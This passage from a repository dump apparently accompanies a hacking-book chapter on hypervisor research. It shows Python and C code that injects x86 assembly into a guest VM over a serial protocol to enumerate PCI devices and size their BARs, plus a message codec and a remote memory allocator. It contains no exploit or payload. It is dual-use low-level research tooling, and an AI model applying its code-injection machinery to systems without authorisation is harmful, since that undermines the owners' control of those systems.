0x03: 'High Performance Event Timer' }, 119 | 0x03: { 0x00: 'Generic RTC controller', 120 | 0x01: 'ISA RTC controller' }, 121 | 0x04: { 0x00: 'Generic PCI Hot-Plug controller' }, 122 | 0x05: { 0x00: 'SD Host controller' }, 123 | 0x06: { 0x00: 'IOMMU' }, 124 | 0x07: { 0x00: 'Root Complex Event Collector' }, 125 | 0x80: { 0x00: 'Other system peripheral' } 126 | }, 127 | 0x09: { 128 | 0x00: { 0x00: 'Keyboard controller' }, 129 | 0x01: { 0x00: 'Digitizer (pen)' }, 130 | 0x02: { 0x00: 'Mouse controller' }, 131 | 0x03: { 0x00: 'Scanner controller' }, 132 | 0x04: { 0x00: 'Gameport controller (generic)', 133 | 0x10: 'Gameport controller' }, 134 | 0x80: { 0x00: 'Other input controller' } 135 | }, 136 | 0x0a: { 137 | 0x00: { 0x00: 'Generic docking station' }, 138 | 0x80: { 0x00: 'Other type of docking station' } 139 | }, 140 | 0x0b: { 141 | 0x00: { 0x00: '386' }, 142 | 0x01: { 0x00: '486' }, 143 | 0x02: { 0x00: 'Pentium' }, 144 | 0x10: { 0x00: 'Alpha' }, 145 | 0x20: { 0x00: 'PowerPC' }, 146 | 0x30: { 0x00: 'MIPS' }, 147 | 0x40: { 0x00: 'Co-processor' }, 148 | 0x80: { 0x00: 'Other processors' } 149 | }, 150 | 0x0c: { 151 | 0x00: { 0x00: 'IEEE 1394 (FireWire)', 152 | 0x10: 'IEEE 1394 following the 1394 OpenHCI specification' }, 153 | 0x01: { 0x00: 'ACCESS.bus' }, 154 | 0x02: { 0x00: 'SSA' }, 155 | 0x03: { 0x00: 'USB (UHC)', 156 | 0x10: 'USB (OHC)', 157 | 0x20: 'USB (EHCI)', 158 | 0x30: 'USB (xHCI)', 159 | 0x80: 'USB (no specific Programming Interface)', 160 | 0xFE: 'USB device (not host controller)' }, 161 | 0x04: { 0x00: 'Fibre Channel' }, 162 | 0x05: { 0x00: 'SMBus' }, 163 | 0x06: { 0x00: 'InfiniBand (deprecated)' }, 164 | 0x07: { 0x00: 'IPMI SMIC Interface', 165 | 0x01: 'IPMI Keyboard Controller Style Interface', 166 | 0x02: 'IPMI Block Transfer Interface' }, 167 | 0x08: { 0x00: 'SERCOS Interface Standard (IEC 61491)' }, 168 | 0x09: { 0x00: 'CANbus' }, 169 | 0x0A: { 0x00: 'MIPI I3CSM Host Controller Interface' }, 170 | 0x80: { 0x00: 'Other Serial Bus Controllers' } 171 | }, 172 | 0x0d: { 173 | 0x00: { 0x00: 'iRDA compatible controller' }, 174 | 0x01: { 0x00: 'Consumer IR controller', 175 | 0x10: 'UWB Radio controller' }, 176 | 0x10: { 0x00: 'RF controller' }, 177 | 0x11: { 0x00: 'Bluetooth' }, 178 | 0x12: { 0x00: 'Broadband' }, 179 | 0x20: { 0x00: 'Ethernet (802.11a – 5 GHz)' }, 180 | 0x21: { 0x00: 'Ethernet (802.11b – 2.4 GHz)' }, 181 | 0x40: { 0x00: 'Cellular controller/modem' }, 182 | 0x41: { 0x00: 'Cellular controller/modem plus Ethernet (802.11)' }, 183 | 0x80: { 0x00: 'Other type of wireless controller' } 184 | }, 185 | 0x0e: { 186 | 0x00: 'Intelligent I/O (I2O) Architecture Specification 1.0' 187 | }, 188 | 0x0f: { 189 | 0x01: { 0x00: 'TV' }, 190 | 0x02: { 0x00: 'Audio' }, 191 | 0x03: { 0x00: 'Voice' }, 192 | 0x04: { 0x00: 'Data' }, 193 | 0x80: { 0x00: 'Other satellite communication controller' } 194 | }, 195 | 0x10: { 196 | 0x00: { 0x00: 'Network and computing encryption and decryption controller' }, 197 | 0x10: { 0x00: 'Entertainment encryption and decryption controller' }, 198 | 0x80: { 0x00: 'Other encryption and decryption controller' } 199 | }, 200 | 0x11: { 201 | 0x00: { 0x00: 'DPIO modules' }, 202 | 0x01: { 0x00: 'Performance counters' }, 203 | 0x10: { 0x00: 'Communications synchronization plus time and frequency test/measurement' }, 204 | 0x20: { 0x00: 'Management card' }, 205 | 0x80: { 0x00: 'Other data acquisition/signal processing controllers' } 206 | }, 207 | 0x12: { 208 | 0x00: { 0x00: 'Processing Accelerator' } 209 | }, 210 | 0x13: { 211 | 0x00: { 0x00: 'Non-Essential Instrumentation Function' } 212 | }, 213 | 0xff: 'Device does not fit any defined class' 214 | } 215 | 216 | class PciHeader: 217 | def __init__(self, regs): 218 | self.bars = None 219 | self.vendor_id = regs[0] & 0xffff 220 | self.device_id = regs[0] >> 16 221 | self.command = regs[1] & 0xffff 222 | self.status = regs[1] >> 16 223 | self.revision_id = regs[2] & 0xff 224 | self.prog_if = (regs[2] >> 8) & 0xff 225 | self.subclass = (regs[2] >> 16) & 0xff 226 | self.class_code = (regs[2] >> 24) & 0xff 227 | self.cache_line_size = regs[3] & 0xff 228 | self.latency_timer = (regs[3] >> 8) & 0xff 229 | self.header_type = (regs[3] >> 16) & 0xff 230 | self.bist = (regs[3] >> 24) & 0xff 231 | 232 | def info(self): 233 | try: 234 | devclass = devices[self.class_code] 235 | 236 | if isinstance(devclass, str): 237 | return devclass 238 | 239 | subclass = devclass[self.subclass] 240 | 241 | if isinstance(subclass, str): 242 | return subclass 243 | 244 | return subclass[self.prog_if] 245 | 246 | except KeyError: 247 | return 'Unknown' 248 | 249 | def get_header_type(self): 250 | return self.header_type & 0x7f 251 | 252 | class StandardHeader(PciHeader): 253 | def __init__(self, regs): 254 | super().__init__(regs) 255 | self.cardbus_cis_pointer = regs[10] 256 | self.subsystem_vendor_id = regs[11] & 0xffff 257 | self.subsystem_id = regs[11] >> 16 258 | self.expansion_rom_base_address = regs[12] 259 | self.capabilities_pointer = regs[13] & 0xff 260 | self.interrupt_line = regs[15] & 0xff 261 | self.interrupt_pin = (regs[15] >> 8) & 0xff 262 | self.min_grant = (regs[15] >> 16) & 0xff 263 | self.max_latency = (regs[15] >> 24) & 0xff 264 | 265 | def reg_nums(self): 266 | return [4, 6, 8] 267 | 268 | class Pci2Pci(PciHeader): 269 | def __init__(self, regs): 270 | super().__init__(regs) 271 | self.primary_bus_number = regs[6] & 0xff 272 | self.secondary_bus_number = (regs[6] >> 8) & 0xff 273 | self.subordinate_bus_number = (regs[6] >> 16) & 0xff 274 | self.secondary_latency_timer = (regs[6] >> 24) & 0xff 275 | self.io_base = regs[7] & 0xff 276 | self.io_limit = (regs[7] >> 8) & 0xff 277 | self.secondary_status = regs[7] >> 16 278 | self.memory_base = regs[8] & 0xffff 279 | self.memory_limit = (regs[8] >> 16) & 0xffff 280 | self.prefetchable_memory_base = regs[9] & 0xffff 281 | self.prefetchable_memory_limit = (regs[9] >> 16) & 0xffff 282 | self.prefetechable_base_upper32 = regs[10] 283 | self.prefetchable_limit_upper32= regs[11] 284 | self.io_base_upper16 = regs[12] & 0xffff 285 | self.io_limit_upper16 = (regs[12] >> 16) & 0xffff 286 | self.capability_pointer = regs[13] & 0xff 287 | self.expansion_rom_base_address = regs[14] 288 | self.interrupt_line = regs[15] & 0xff 289 | self.interrupt_pin = (regs[15] >> 8) & 0xff 290 | self.bridge_control = regs[15] >> 16 291 | 292 | class Cardbus(PciHeader): 293 | def __init__(self, regs): 294 | super().__init__(regs) 295 | self.card_bus_socket_base_address = regs[4] 296 | self.capabilities_list_offset = regs[5] & 0xff 297 | self.secondary_status = regs[5] >> 16 298 | self.pci_bus_number = regs[6] & 0xff 299 | self.cardbus_number = (regs[6] >> 8) & 0xff 300 | self.subordinate_bus_number = (regs[6] >> 16) & 0xff 301 | self.cardbus_latency_timer = (regs[6] >> 24) & 0xff 302 | self.memory_base_address0 = regs[7] 303 | self.memory_limit0 = regs[8] 304 | self.memory_base_address1 = regs[9] 305 | self.memory_limit1 = regs[10] 306 | self.io_base_address0 = regs[11] 307 | self.io_limit0 = regs[12] 308 | self.io_base_address1 = regs[13] 309 | self.io_limit1 = regs[14] 310 | self.interrupt_line = regs[15] & 0xff 311 | self.interrupt_pin = (regs[15] >> 8) & 0xff 312 | self.bridge_control = regs[15] >> 16 313 | self.subsystem_device_id = regs[16] & 0xffff 314 | self.subsystem_vendor_id = regs[16] >> 16 315 | self.legacy_mode_base_address = regs[17] 316 | 317 | class Bar: 318 | def __init__(self, reg_num, reg, size, reg_high): 319 | if reg & 1: 320 | self.bar = reg & 0xfffffffc 321 | self.bar_size = (1 + ~(size & ~7)) & 0xffff 322 | self.bar_type = 'IO-space' 323 | else: 324 | if ((reg >> 1) & 3) == 2: 325 | self.bar = (reg & 0xfffffff0) | (reg_high << 32) 326 | self.bar_size = 1 + ~(size & ~15) 327 | self.bar_type = 'MEM-space 64-bit' 328 | else: 329 | self.bar = reg & 0xfffffff0 330 | self.bar_size = 1 + ~(size & ~15) 331 | self.bar_type = 'MEM-space' 332 | 333 | class Session(session.Session): 334 | cache = True 335 | dump_only = True 336 | timeout = 0 337 | 338 | def __init__(self, guest_cls): 339 | super().__init__(guest_cls) 340 | self.pci = dict() 341 | self.initialized = False 342 | 343 | def scan_pci(self): 344 | self.execute( 345 | f"""{self.context_save()} 346 | PUT_TP List 347 | xor r8, r8 348 | pci_read_dev_bus_next: 349 | call pci_read_dev_slots 350 | inc r8 351 | cmp r8, 256 352 | jnz pci_read_dev_bus_next 353 | PUT_TP Nil 354 | REPLY 355 | {self.context_restore()} 356 | pci_read_dev_slots: 357 | xor r9, r9 358 | pci_read_dev_slots_next: 359 | call pci_read_dev_funcs 360 | inc r9 361 | cmp r9, 32 362 | jnz pci_read_dev_slots_next 363 | ret 364 | pci_read_dev_funcs: 365 | xor r10, r10 366 | pci_read_dev_funcs_next: 367 | call pci_read_dev_regs 368 | inc r10 369 | cmp r10, 8 370 | jnz pci_read_dev_funcs_next 371 | ret 372 | pci_read_dev_regs: 373 | xor r11, r11 374 | call pci_read 375 | cmp eax, 0xffffffff 376 | jz pci_read_dev_regs_exit_fail 377 | PUT_TP List 378 | PUT_VA CString, "bus", UInt16, r8 379 | PUT_VA CString, "slot", UInt16, r9 380 | PUT_VA CString, "func", UInt16, r10 381 | pci_read_dev_regs_next: 382 | mov dword [regs+r11*4], eax 383 | inc r11 384 | cmp r11, 18 385 | jz pci_read_dev_regs_exit 386 | call pci_read 387 | jmp pci_read_dev_regs_next 388 | pci_read_dev_regs_exit: 389 | PUT_VA CString, "regs", Array, array_h, regs 390 | PUT_TP Nil 391 | pci_read_dev_regs_exit_fail: 392 | ret 393 | pci_read: 394 | mov rax, r8 395 | shl rax, 5 396 | or rax, r9 397 | shl rax, 3 398 | or rax, r10 399 | shl rax, 6 400 | or rax, r11 401 | shl rax, 2 402 | mov rdx, 0x80000000 403 | or rax, rdx 404 | mov rdx, 0xCF8 405 | out dx, eax 406 | mov rdx, 0xCFC 407 | in eax, dx 408 | ret 409 | array_h: dd 18, UInt32 410 | regs: dd 18 dup (0)""") 411 | 412 | def inject_read_bar_code(self): 413 | code = f""" 414 | read_bar: 415 | xor rcx, rcx 416 | call pci_read 417 | mov rbx, rax 418 | cmp rax, 1 419 | jnz mem_space_bar 420 | bar32: 421 | mov r12, 0xffffffff 422 | call pci_write 423 | call pci_read 424 | mov rdi, rax 425 | mov r12, rbx 426 | call pci_write 427 | jmp read_bar_out 428 | mem_space_bar: 429 | shr rax, 1 430 | and rax, 3 431 | cmp rax, 2 432 | jnz bar32 433 | inc r11 434 | call pci_read 435 | mov rcx, rax 436 | mov r12, 0xffffffff 437 | dec r11 438 | call pci_write 439 | call pci_read 440 | mov rdi, rax 441 | mov r12, rbx 442 | call pci_write 443 | read_bar_out: 444 | PUT_VA UInt32, r11, UInt32, rbx, UInt32, rdi, UInt32, rcx 445 | ret 446 | pci_read: 447 | mov rax, r8 448 | shl rax, 5 449 | or rax, r9 450 | shl rax, 3 451 | or rax, r10 452 | shl rax, 6 453 | or rax, r11 454 | shl rax, 2 455 | mov rdx, 0x80000000 456 | or rax, rdx 457 | mov rdx, 0xCF8 458 | out dx, eax 459 | mov rdx, 0xCFC 460 | in eax, dx 461 | ret 462 | pci_write: 463 | mov rax, r8 464 | shl rax, 5 465 | or rax, r9 466 | shl rax, 3 467 | or rax, r10 468 | shl rax, 6 469 | or rax, r11 470 | shl rax, 2 471 | mov rdx, 0x80000000 472 | or rax, rdx 473 | mov rdx, 0xCF8 474 | out dx, eax 475 | mov rdx, 0xCFC 476 | mov rax, r12 477 | out dx, eax 478 | ret""" 479 | self.read_bar_addr = self.guest.op_write(self.code(code)) 480 | 481 | def scan_device(self, bus, slot, func, regs): 482 | if bus not in self.pci.keys(): 483 | self.pci[bus] = dict() 484 | 485 | if slot not in self.pci[bus].keys(): 486 | self.pci[bus][slot] = dict() 487 | 488 | pci = PciHeader(regs) 489 | pci = { 490 | 0: StandardHeader, 491 | 1: Pci2Pci, 492 | 2: Cardbus 493 | }[pci.get_header_type()](regs) 494 | self.pci[bus][slot][func] = pci 495 | code = '' 496 | 497 | for reg in pci.reg_nums(): 498 | code += f""" 499 | mov r11, {reg} 500 | call {self.read_bar_addr:#x} 501 | """ 502 | 503 | self.execute( 504 | f"""{self.context_save()} 505 | PUT_TP List 506 | mov r8, {bus} 507 | mov r9, {slot} 508 | mov r10, {func} 509 | {code} 510 | PUT_TP Nil 511 | REPLY 512 | {self.context_restore()} 513 | """) 514 | _, bars = self.next_message() 515 | dev = self.pci[bus][slot][func] 516 | dev.bars = [Bar(*bar) for bar in bars] 517 | 518 | if self.dump_only: 519 | self.print_dev_info(bus, slot, func, dev) 520 | 521 | def print_bar_info(self, bar): 522 | print((f'\t{"BAR " + bar.bar_type : <30}: 0x{bar.bar: <16x} size:{bar.bar_size: #x}')) 523 | 524 | def print_dev_info(self, bus, slot, func, dev): 525 | print(f'\033[1m{int(bus):02x}:{slot:02x}:{func:02x}: {dev.info()}\033[0m') 526 | 527 | for k, v in dev.__dict__.items(): 528 | if k == 'bars': 529 | for bar in v: 530 | self.print_bar_info(bar) 531 | else: 532 | print(f'\t{k: <30}: {v:#x}') 533 | 534 | def on_boot(self, body): 535 | super().on_boot(body) 536 | 537 | if not self.initialized and self.cache: 538 | self.scan_pci() 539 | self.inject_read_bar_code() 540 | 541 | for args in self.next_message()[1]: 542 | self.scan_device(**dict(args)) 543 | 544 | self.initialized = True 545 | 546 | if self.dump_only: 547 | exit(0) 548 | -------------------------------------------------------------------------------- /GHHv6_ch25/protocol.c: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 3 | SPDX-License-Identifier: GPL-3.0-or-later 4 | */ 5 | #include "common.h" 6 | #include "protocol.h" 7 | 8 | struct msg_buffer { 9 | unsigned int offset; 10 | uint8_t buf[MAX_MSGSZ]; 11 | }; 12 | 13 | static struct msg_buffer send_buf; 14 | static struct msg_buffer oob_buf; 15 | static struct msg_buffer recv_buf; 16 | 17 | #define PUT(b, v) ({ \ 18 | typeof((typeof(v))v) tmp; \ 19 | unsigned int new_offset = b->offset + sizeof(v); \ 20 | assert(new_offset > b->offset && MAX_MSGSZ > new_offset); \ 21 | *(typeof(tmp) *)&b->buf[b->offset] = v; \ 22 | b->offset = new_offset; \ 23 | }) 24 | 25 | #define GET(v) ({ \ 26 | unsigned int new_offset = recv_buf.offset + sizeof(v); \ 27 | assert(new_offset > recv_buf.offset && MAX_MSGSZ > new_offset); \ 28 | v = *(typeof(v) *)&recv_buf.buf[recv_buf.offset]; \ 29 | recv_buf.offset = new_offset; \ 30 | }) 31 | 32 | void put_tp(bool is_oob, TP prefix) { 33 | struct msg_buffer *buf = is_oob ? &oob_buf : &send_buf; 34 | PUT(buf, prefix); 35 | } 36 | 37 | TP get_tp() { 38 | TP prefix; 39 | GET(prefix); 40 | return prefix; 41 | } 42 | 43 | void put_primitive(bool is_oob, TP prefix, const Primitive_t *value) { 44 | struct msg_buffer *buf = is_oob ? &oob_buf : &send_buf; 45 | assert(PrimitiveMax >= prefix); 46 | put_tp(is_oob, prefix); 47 | 48 | switch (prefix) { 49 | case UInt8: 50 | PUT(buf, value->u8); 51 | break; 52 | case UInt16: 53 | PUT(buf, value->u16); 54 | break; 55 | case UInt32: 56 | PUT(buf, value->u32); 57 | break; 58 | case UInt64: 59 | PUT(buf, value->u64); 60 | break; 61 | case Int8: 62 | PUT(buf, value->i8); 63 | break; 64 | case Int16: 65 | PUT(buf, value->i16); 66 | break; 67 | case Int32: 68 | PUT(buf, value->i32); 69 | break; 70 | case Int64: 71 | PUT(buf, value->i64); 72 | break; 73 | default: 74 | assert(false); 75 | } 76 | } 77 | 78 | void get_primitive(TP prefix, Primitive_t *value) { 79 | assert(PrimitiveMax >= prefix); 80 | switch (prefix) { 81 | case UInt8: 82 | GET(value->u8); 83 | break; 84 | case UInt16: 85 | GET(value->u16); 86 | break; 87 | case UInt32: 88 | GET(value->u32); 89 | break; 90 | case UInt64: 91 | GET(value->u64); 92 | break; 93 | case Int8: 94 | GET(value->i8); 95 | break; 96 | case Int16: 97 | GET(value->i16); 98 | break; 99 | case Int32: 100 | GET(value->i32); 101 | break; 102 | case Int64: 103 | GET(value->i64); 104 | break; 105 | default: 106 | assert(false); 107 | } 108 | } 109 | 110 | void put_array(bool is_oob, const Array_t *array, const void *data) { 111 | struct msg_buffer *buf = is_oob ? &oob_buf : &send_buf; 112 | uint32_t len = 0; 113 | put_tp(is_oob, Array); 114 | PUT(buf, *array); 115 | 116 | while (array->count * (array->subtype & 0xff) != len) 117 | PUT(buf, ((const char *)data)[len++]); 118 | } 119 | 120 | void get_array(Array_t *array, void **dst_ptr) { 121 | GET(*array); 122 | unsigned int offset = recv_buf.offset + array->count * (array->subtype & 0xff); 123 | assert(offset > recv_buf.offset && MAX_MSGSZ > offset); 124 | *dst_ptr = &recv_buf.buf[recv_buf.offset]; 125 | recv_buf.offset = offset; 126 | } 127 | 128 | void put_cstring(bool is_oob, const char *ptr) { 129 | struct msg_buffer *buf = is_oob ? &oob_buf : &send_buf; 130 | put_tp(is_oob, CString); 131 | do { PUT(buf, *ptr); } while (*ptr++ != '\0'); 132 | } 133 | 134 | static void _put_va(bool is_oob, TP prefix, va_list args) { 135 | if (PrimitiveMax >= prefix) { 136 | Primitive_t value = va_arg(args, Primitive_t); 137 | put_primitive(is_oob, prefix, &value); 138 | } 139 | 140 | if (List == prefix) { 141 | put_tp(is_oob, prefix); 142 | do { 143 | prefix = va_arg(args, TP); 144 | _put_va(is_oob, prefix, args); 145 | } while (Nil != prefix); 146 | put_tp(is_oob, prefix); 147 | } 148 | 149 | if (Array == prefix) { 150 | Array_t *a = va_arg(args, Array_t *); 151 | put_array(is_oob, a, va_arg(args, const void *)); 152 | } 153 | 154 | if (CString == prefix) 155 | put_cstring(is_oob, va_arg(args, const char *)); 156 | } 157 | 158 | static void _get_va(TP prefix, va_list args) { 159 | assert(get_tp() == prefix); 160 | 161 | if (PrimitiveMax >= prefix) 162 | get_primitive(prefix, va_arg(args, void *)); 163 | 164 | if (List == prefix) 165 | do { 166 | prefix = va_arg(args, TP); 167 | _get_va(prefix, args); 168 | } while (Nil != prefix); 169 | 170 | if (Array == prefix) { 171 | Array_t *a = va_arg(args, Array_t *); 172 | get_array(a, va_arg(args, void **)); 173 | } 174 | 175 | if (CString == prefix) 176 | assert(false); /* TODO */ 177 | } 178 | 179 | void put_va(bool is_oob, ...) { 180 | va_list ap; 181 | va_start(ap, is_oob); 182 | TP prefix = va_arg(ap, TP); 183 | _put_va(is_oob, prefix, ap); 184 | va_end(ap); 185 | } 186 | 187 | void get_va(TP prefix, ...) { 188 | va_list ap; 189 | va_start(ap, prefix); 190 | _get_va(prefix, ap); 191 | va_end(ap); 192 | } 193 | 194 | void send_msg(MT msg_type) { 195 | struct msg_buffer *buf = (MTOOB == msg_type) ? &oob_buf : &send_buf; 196 | MsgHdr hdr = { 197 | .type = msg_type, 198 | .len = buf->offset, 199 | .checksum = crc32(buf->buf, buf->offset), 200 | .hdr_csum = 0 201 | }; 202 | hdr.hdr_csum = crc32(&hdr, sizeof(hdr) - sizeof(hdr.hdr_csum)); 203 | write_serial(&hdr, sizeof(hdr)); 204 | write_serial(buf->buf, buf->offset); 205 | buf->offset = 0; 206 | } 207 | 208 | static bool msg_hdr_valid(const MsgHdr *hdr) { 209 | return MTRequest == hdr->type && MAX_MSGSZ > hdr->len && 210 | crc32(hdr, sizeof(*hdr) - sizeof(hdr->hdr_csum)) == hdr->hdr_csum; 211 | } 212 | 213 | void recv_msg() { 214 | MsgHdr hdr; 215 | read_serial(&hdr, sizeof(hdr)); 216 | assert(msg_hdr_valid(&hdr)); 217 | recv_buf.offset = 0; 218 | read_serial(recv_buf.buf, hdr.len); 219 | assert(crc32(recv_buf.buf, hdr.len) == hdr.checksum); 220 | } 221 | 222 | void _reset_oob_buffer() { 223 | oob_buf.offset = 0; 224 | } 225 | -------------------------------------------------------------------------------- /GHHv6_ch25/protocol.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 3 | SPDX-License-Identifier: GPL-3.0-or-later 4 | */ 5 | #ifndef PROTOCOL_H 6 | #define PROTOCOL_H 7 | #include 8 | #include 9 | 10 | typedef enum { 11 | MTBoot = UINT32_C(0), 12 | MTRequest, 13 | MTReply, 14 | MTOOB, 15 | MTMax = MTOOB 16 | } MT; 17 | 18 | #define MAX_MSGSZ UINT32_C(0x400000) /* 4MB */ 19 | 20 | typedef struct { 21 | MT type; 22 | uint32_t len; 23 | uint32_t checksum; /* body CRC32 */ 24 | uint32_t hdr_csum; /* header CRC32 */ 25 | } __attribute__((packed)) MsgHdr; 26 | 27 | typedef enum { 28 | /* primitive sizes encoded in LSB */ 29 | UInt8 = UINT32_C(0x001), 30 | UInt16 = UINT32_C(0x002), 31 | UInt32 = UINT32_C(0x004), 32 | UInt64 = UINT32_C(0x008), 33 | Int8 = UINT32_C(0x101), 34 | Int16 = UINT32_C(0x102), 35 | Int32 = UINT32_C(0x104), 36 | Int64 = UINT32_C(0x108), 37 | PrimitiveMax = Int64, 38 | /* Compound types */ 39 | Array = UINT32_C(0x400), 40 | CString = UINT32_C(0x500), 41 | List = UINT32_C(0x600), 42 | Nil = UINT32_C(0x700) 43 | } TP; 44 | 45 | typedef union { 46 | uint8_t u8; 47 | uint16_t u16; 48 | uint32_t u32; 49 | uint64_t u64; 50 | int8_t i8; 51 | int16_t i16; 52 | int32_t i32; 53 | int64_t i64; 54 | } Primitive_t; 55 | 56 | typedef struct { 57 | uint32_t count; 58 | TP subtype; 59 | } __attribute__((packed)) Array_t; 60 | 61 | typedef enum {OOBPrint = UINT32_C(0), OOBAssert} OOBType; 62 | typedef enum {OpWrite = UINT32_C(0), OpExec} OpType; 63 | 64 | void put_tp(bool is_oob, TP prefix); 65 | TP get_tp(); 66 | void put_primitive(bool is_oob, TP prefix, const Primitive_t *value); 67 | void get_primitive(TP prefix, Primitive_t *value); 68 | void put_array(bool is_oob, const Array_t *array, const void *data); 69 | void put_cstring(bool is_oob, const char *ptr); 70 | void put_va(bool is_oob, ...); 71 | void get_va(TP prefix, ...); 72 | void send_msg(MT msg_type); 73 | void recv_msg(); 74 | 75 | #define LIST(...) List, __VA_ARGS__, Nil 76 | #define PUT_LIST(is_oob, ...) (put_va(is_oob, LIST(__VA_ARGS__))) 77 | #define OOB_PRINT(fmt, ...) ({ \ 78 | PUT_LIST(true, UInt32, OOBPrint, CString, fmt, __VA_ARGS__); \ 79 | send_msg(MTOOB); \ 80 | }) 81 | #define NAMED(n, t, v) LIST(CString, n, t, v) 82 | #define SYMBOL(n) NAMED(#n, UInt64, &n) 83 | 84 | #endif 85 | -------------------------------------------------------------------------------- /GHHv6_ch25/protocol.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | 4 | import construct as c 5 | import fixedint as f 6 | from crc32c import crc32c 7 | 8 | MT = c.Enum(c.Int32ul, Boot=0, Request=1, Reply=2, OOB=3) 9 | MAX_MSGSZ = 0x400000 10 | MsgHdr = c.Struct( 11 | 'hdr' / c.RawCopy( 12 | c.Struct( 13 | 'type' / MT, 14 | 'len' / c.ExprValidator(c.Int32ul, c.obj_ <= MAX_MSGSZ), 15 | '_csum_offset' / c.Tell, 16 | 'checksum' / c.Int32ul 17 | ) 18 | ), 19 | 'hdr_csum' / c.Checksum(c.Int32ul, crc32c, c.this.hdr.data) 20 | ) 21 | TP = c.Enum(c.Int32ul, 22 | UInt8=0x001, UInt16=0x002, UInt32=0x004, UInt64=0x008, 23 | Int8=0x101, Int16=0x102, Int32=0x104, Int64=0x108, 24 | Array=0x400, CString=0x500, List=0x600, Nil=0x700 25 | ) 26 | IntPrefixes = ( 27 | TP.UInt8, TP.UInt16, TP.UInt32, TP.UInt64, 28 | TP.Int8, TP.Int16, TP.Int32, TP.Int64 29 | ) 30 | IntConstructs = ( 31 | c.Int8ul, c.Int16ul, c.Int32ul, c.Int64ul, 32 | c.Int8sl, c.Int16sl, c.Int32sl, c.Int64sl 33 | ) 34 | IntFixed = ( 35 | f.UInt8, f.UInt16, f.UInt32, f.UInt64, f.Int8, f.Int16, f.Int32, f.Int64 36 | ) 37 | 38 | def make_adapter(cInt, fInt): 39 | return c.ExprSymmetricAdapter(cInt, lambda obj, _: fInt(obj)) 40 | 41 | IntAdapters = ( 42 | make_adapter(cInt, fInt) for cInt, fInt in zip(IntConstructs, IntFixed) 43 | ) 44 | IntAlist = list(zip(IntPrefixes, IntAdapters)) 45 | 46 | class ArrayAdapter(c.Adapter): 47 | def _decode(self, obj, context, path): 48 | subtype = dict(zip(IntPrefixes, IntFixed))[obj.subtype] 49 | return tuple(subtype(x) for x in obj.v) 50 | 51 | def _encode(self, obj, context, path): 52 | subtype = dict(zip(IntFixed, IntPrefixes))[type(obj[0])] 53 | return {'count': len(obj), 'subtype': subtype, 'v': obj} 54 | 55 | class ListAdapter(c.Adapter): 56 | def _decode(self, obj, context, path): 57 | ret = [] 58 | 59 | while obj.head != None: 60 | ret.append(obj.head) 61 | obj = obj.tail 62 | 63 | return ret 64 | 65 | def _encode(self, obj, context, path): 66 | xs = {'head': None, 'tail': None} 67 | 68 | for x in reversed(obj): 69 | xs = {'head': x, 'tail': xs} 70 | 71 | return xs 72 | 73 | List = c.Struct( 74 | 'head' / c.LazyBound(lambda: Body), 75 | 'tail' / c.If(c.this.head != None, c.LazyBound(lambda: List)) 76 | ) 77 | CompAlist = [ 78 | (TP.Array, ArrayAdapter( 79 | c.Struct( 80 | 'count' / c.Int32ul, 81 | 'subtype' / c.Select(*(c.Const(x, TP) for x in IntPrefixes)), 82 | 'v' / c.Array( 83 | c.this.count, c.Switch(c.this.subtype, dict(IntAlist)))))), 84 | (TP.CString, c.CString('ascii')), 85 | (TP.List, ListAdapter(List)), 86 | (TP.Nil, c.Computed(None)) 87 | ] 88 | 89 | PythonObj = IntFixed + (tuple, str, list, type(None)) 90 | Prefixes = IntPrefixes + (TP.Array, TP.CString, TP.List, TP.Nil) 91 | 92 | class BodyAdapter(c.Adapter): 93 | def _decode(self, obj, context, path): 94 | return obj.value 95 | 96 | def _encode(self, obj, context, path): 97 | return { 98 | 'prefix': dict(zip(PythonObj, Prefixes))[type(obj)], 99 | 'value': obj 100 | } 101 | 102 | Body = BodyAdapter( 103 | c.Struct( 104 | 'prefix' / TP, 105 | 'value' / c.Switch(c.this.prefix, dict(IntAlist + CompAlist))) 106 | ) 107 | Message = c.Struct( 108 | 'header' / MsgHdr, 109 | 'body' / c.RawCopy(Body), 110 | '_body_checksum' / c.Pointer( 111 | c.this.header.hdr.value._csum_offset, 112 | c.Checksum(c.Int32ul, crc32c, c.this.body.data) 113 | ) 114 | ) 115 | 116 | def recv(reader): 117 | hdr = reader.read(MsgHdr.sizeof()) 118 | body = reader.read(MsgHdr.parse(hdr).hdr.value.len) 119 | msg = Message.parse(hdr + body) 120 | return (msg.header.hdr.value.type, msg.body.value) 121 | 122 | def send(writer, body): 123 | body = Body.build(body) 124 | header = MsgHdr.build({ 125 | 'hdr': { 126 | 'value': { 127 | 'type': MT.Request, 128 | 'len': len(body), 129 | 'checksum': crc32c(body) 130 | } 131 | } 132 | }) 133 | writer.write(header + body) 134 | writer.flush() 135 | -------------------------------------------------------------------------------- /GHHv6_ch25/remotemem.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | 4 | from functools import total_ordering 5 | import bisect 6 | import portion as P 7 | 8 | class RemoteMemoryError(Exception): 9 | pass 10 | 11 | class RemoteMemory: 12 | def __init__(self): 13 | self.mem = P.empty() 14 | self.allocations = dict() 15 | 16 | def add_region(self, base, size): 17 | interval = P.openclosed(base, base + size) 18 | self.mem |= interval 19 | return interval 20 | 21 | def del_region(self, base, size): 22 | interval = P.openclosed(base, base + size) 23 | self.mem -= interval 24 | return interval 25 | 26 | def alloc(self, size): 27 | for interval in self.mem: 28 | if interval.upper - interval.lower >= size: 29 | allocation = self.del_region(interval.lower, size) 30 | self.allocations[allocation.lower] = allocation 31 | return allocation.lower 32 | 33 | raise RemoteMemoryError('out of memory') 34 | 35 | def free(self, address): 36 | self.mem |= self.allocations[address] 37 | del self.allocations[address] 38 | 39 | def free_all(self): 40 | for address in list(self.allocations.keys()): 41 | self.free(address) 42 | 43 | 44 | class PageAlloc: 45 | def __init__(self, mem, data_len): 46 | self.mem = mem 47 | self.data_len = data_len & ~0xfff 48 | 49 | if data_len & 0xfff: 50 | self.data_len += 0x1000 51 | 52 | self.ptr = self.mem.alloc(self.data_len + 0x1000) 53 | 54 | def start(self): 55 | return (self.ptr & ~0xfff) + 0x1000 56 | 57 | def end(self): 58 | return 